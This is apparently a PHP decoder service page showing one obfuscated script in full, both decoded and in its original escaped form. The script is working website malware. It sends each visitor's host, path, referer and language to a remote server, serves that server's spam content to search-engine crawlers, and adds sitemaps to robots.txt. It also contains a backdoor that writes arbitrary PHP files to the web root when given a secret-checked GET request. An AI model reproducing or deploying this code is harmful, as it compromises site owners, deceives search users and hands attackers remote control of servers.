Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto q4Tuo; lC5Eb: $goweb = $xmlname . "\56\160\165\162\x65\x64\141\156\143\145\164\164" ...

Decoded Output download

<?  goto q4Tuo; lC5Eb: $goweb = $xmlname . ".puredancett" . ".xyz"; goto CjaiY; tbW99: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto lC5Eb; vM5Ah: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto P0rAc; Z9qF7: $xmlname = "empw"; goto umqHe; umqHe: $http_web = "http"; goto L3rjv; nGKKF: $urlshang = ''; goto NyS_4; CjaiY: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto AnvEQ; w9WTK: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto vM5Ah; A9eGr: $duri_tmp = st_uri(); goto KxgSO; uqz8l: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto VtyOe; L3rjv: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto A9eGr; HGzvD: $lang = urlencode($lang); goto nGKKF; NyS_4: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto uqz8l; Pq3MM: @ignore_user_abort(1); goto Z9qF7; KxgSO: if ($duri_tmp == '') { $duri_tmp = "/"; } goto SaRQ7; ozqeY: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto HGzvD; oGAYj: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto LVJQn; SaRQ7: $duri = urlencode($duri_tmp); goto tbW99; VtyOe: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto s6Sjb; s6Sjb: $htmcontent = trim(dageget($web)); goto w9WTK; AnvEQ: $host = $_SERVER["HTTP_HOST"]; goto ozqeY; q4Tuo: @set_time_limit(3600); goto Pq3MM; P0rAc: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto oGAYj; LVJQn:  ?>

Did this file decode correctly?

Original Code

goto q4Tuo; lC5Eb: $goweb = $xmlname . "\56\160\165\162\x65\x64\141\156\143\145\164\164" . "\x2e\170\x79\x7a"; goto CjaiY; tbW99: function st_uri() { if (isset($_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\125\x52\x49"])) { $duri = $_SERVER["\x52\105\121\x55\105\123\x54\x5f\x55\x52\x49"]; } else { if (isset($_SERVER["\141\x72\147\166"])) { $duri = $_SERVER["\x50\110\120\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\141\x72\x67\166"][0]; } else { $duri = $_SERVER["\120\110\120\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\121\x55\105\x52\x59\137\123\x54\x52\111\116\x47"]; } } return $duri; } goto lC5Eb; vM5Ah: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\x74\x65\155\141\x70\x20\x4e\x6f\164\151\x66\x69\143\141\x74\151\157\156\x20\122\x65\143\x65\x69\x76\145\144") !== false ? "\160\151\156\x67\157\153" : "\145\162\162\157\162"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\x3c\x62\x72\76"; } return $return_str; } goto P0rAc; Z9qF7: $xmlname = "\x65\x6d\x70\167"; goto umqHe; umqHe: $http_web = "\150\164\164\160"; goto L3rjv; nGKKF: $urlshang = ''; goto NyS_4; CjaiY: function is_htps() { if (isset($_SERVER["\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\110\124\124\120\137\130\x5f\x46\x4f\x52\x57\x41\122\104\x45\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\x54\124\120\x5f\130\137\106\x4f\x52\127\x41\122\x44\x45\104\x5f\x50\122\117\x54\117"] === "\150\164\x74\160\163") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\x5f\x46\x52\x4f\x4e\x54\x5f\105\x4e\x44\137\110\x54\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\106\122\x4f\x4e\x54\x5f\105\x4e\104\x5f\x48\x54\x54\x50\x53"]) !== "\157\x66\146") { return true; } return false; } goto AnvEQ; w9WTK: if (!strstr($htmcontent, "\156\157\142\157\164\x75\163\145\162\x61\x67\x65\x6e\164")) { if (strstr($htmcontent, "\x6f\153\x68\164\x6d\154\147\145\x74\143\157\x6e\164\145\x6e\x74")) { @header("\103\x6f\156\164\145\x6e\164\55\164\171\x70\145\x3a\40\x74\x65\x78\164\57\x68\164\155\154\x3b\40\143\150\x61\162\163\x65\x74\75\x75\164\146\55\70"); $htmcontent = str_replace("\157\153\x68\x74\x6d\154\147\145\164\143\157\x6e\x74\x65\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\153\170\x6d\154\x67\x65\164\x63\x6f\156\x74\145\156\164")) { $htmcontent = str_replace("\x6f\x6b\x78\x6d\x6c\x67\145\x74\x63\157\156\164\145\156\x74", '', $htmcontent); @header("\103\x6f\x6e\x74\x65\x6e\164\x2d\164\171\x70\x65\72\40\x74\x65\x78\x74\57\x78\x6d\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\151\156\x67\x78\x6d\x6c\147\x65\164\x63\157\x6e\x74\x65\156\x74")) { $htmcontent = str_replace("\160\151\156\x67\x78\155\x6c\x67\145\x74\143\157\x6e\x74\145\x6e\164", '', $htmcontent); @header("\103\157\x6e\164\x65\x6e\164\x2d\x74\171\160\145\72\x20\x74\x65\x78\x74\x2f\150\164\x6d\154\73\x20\143\150\x61\x72\x73\145\x74\75\x75\x74\x66\x2d\70"); echo pingmap($htmcontent); die; } } } } goto vM5Ah; A9eGr: $duri_tmp = st_uri(); goto KxgSO; uqz8l: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\x61\160\x6e\141\155\145"]; $action = @$_GET["\141\x63\164\x69\157\x6e"]; if (isset($_SERVER["\104\x4f\103\x55\115\105\x4e\x54\x5f\x52\x4f\117\x54"])) { $path = $_SERVER["\104\x4f\103\125\115\x45\x4e\x54\x5f\x52\x4f\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\160\165\164") { if (strstr($add_content, "\x2e\x78\x6d\x6c")) { $map_path = $path . "\x2f\163\x69\x74\145\155\141\160\x2e\x78\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\x6f\x62\157\164\163\56\x74\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\x73\x65\x72\55\141\x67\145\156\x74\x3a\x20\52\x41\x6c\154\x6f\x77\x3a\40\x2f"; } $sitmap_url = $http . "\72\x2f\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\x3e\163\x69\164\x65\155\x61\x70\40\141\154\162\x65\x61\144\171\x20\x61\144\144\145\x64\x21\74\142\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\x53\x69\164\x65\x6d\141\x70\x3a\40" . $sitmap_url)) { echo "\x3c\142\x72\x3e\x6f\153\74\142\162\x3e"; } else { echo "\74\142\x72\x3e\146\151\x6c\145\40\167\x72\x69\x74\145\x20\146\141\154\163\x65\x21\x3c\x62\x72\76"; } } } else { echo "\x3c\x62\x72\x3e\x73\151\x74\x65\x6d\x61\160\40\x6e\x61\x6d\x65\40\146\141\x6c\x73\x65\41\x3c\x62\x72\76"; } if (strstr($add_content, "\x2e\160" . "\x68\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\x2f\57" . $goweb . "\57\x61\x2e\x70" . "\150\160") || $b == "\x38\60\70\x37\x33\65\x62\x31\67\x63\70\x39\64\63\145\63\x37\61\65\63\70\70\71\65\70\x64\x63\62\x32\x64\x38\67\x39\141\x38\143\71\145\x61\141") { $dstr = @$_GET["\x64\x73\x74\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto VtyOe; L3rjv: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150\164\x74\160"; } goto A9eGr; HGzvD: $lang = urlencode($lang); goto nGKKF; NyS_4: if (isset($_SERVER["\x48\x54\124\x50\x5f\122\105\x46\105\x52\x45\122"])) { $urlshang = $_SERVER["\110\x54\124\120\137\122\x45\x46\105\x52\105\122"]; $urlshang = urlencode($urlshang); } goto uqz8l; Pq3MM: @ignore_user_abort(1); goto Z9qF7; KxgSO: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto SaRQ7; ozqeY: $lang = @$_SERVER["\x48\124\x54\120\137\x41\103\x43\x45\120\124\x5f\114\x41\116\x47\x55\x41\107\105"]; goto HGzvD; oGAYj: function dageget($url) { $file_contents = ''; if (function_exists("\x63\x75\162\154\137\151\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto LVJQn; SaRQ7: $duri = urlencode($duri_tmp); goto tbW99; VtyOe: $web = $http_web . "\x3a\x2f\57" . $goweb . "\57\x69\x6e\x64\x65\170\156\x65\x77\x2e\160\150\160\77\167\x65\x62\x3d" . $host . "\x26\x7a\x7a\x3d" . sbot() . "\46\165\162\151\75" . $duri . "\46\165\162\154\163\x68\141\156\147\75" . $urlshang . "\46\x68\x74\164\160\75" . $http . "\x26\x6c\141\x6e\x67\x3d" . $lang; goto s6Sjb; s6Sjb: $htmcontent = trim(dageget($web)); goto w9WTK; AnvEQ: $host = $_SERVER["\110\124\x54\x50\x5f\110\117\123\124"]; goto ozqeY; q4Tuo: @set_time_limit(3600); goto Pq3MM; P0rAc: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\124\x50\x5f\x55\x53\105\122\x5f\x41\x47\x45\116\124"]); if (stristr($uAgent, "\x67\157\x6f\x67\x6c\x65\142\x6f\164") || stristr($uAgent, "\x62\x69\156\x67") || stristr($uAgent, "\171\x61\x68\157\x6f") || stristr($uAgent, "\x67\157\157\x67\x6c\x65") || stristr($uAgent, "\x47\x6f\157\x67\x6c\x65\x62\x6f\164") || stristr($uAgent, "\x67\x6f\157\147\154\x65\142\157\x74")) { return true; } else { return false; } } goto oGAYj; LVJQn: 

Function Calls

None

Variables

None

Stats

MD5 dcf16615968e5e1f4e2fb3abcca09e3d
Eval Count 0
Decode Time 47 ms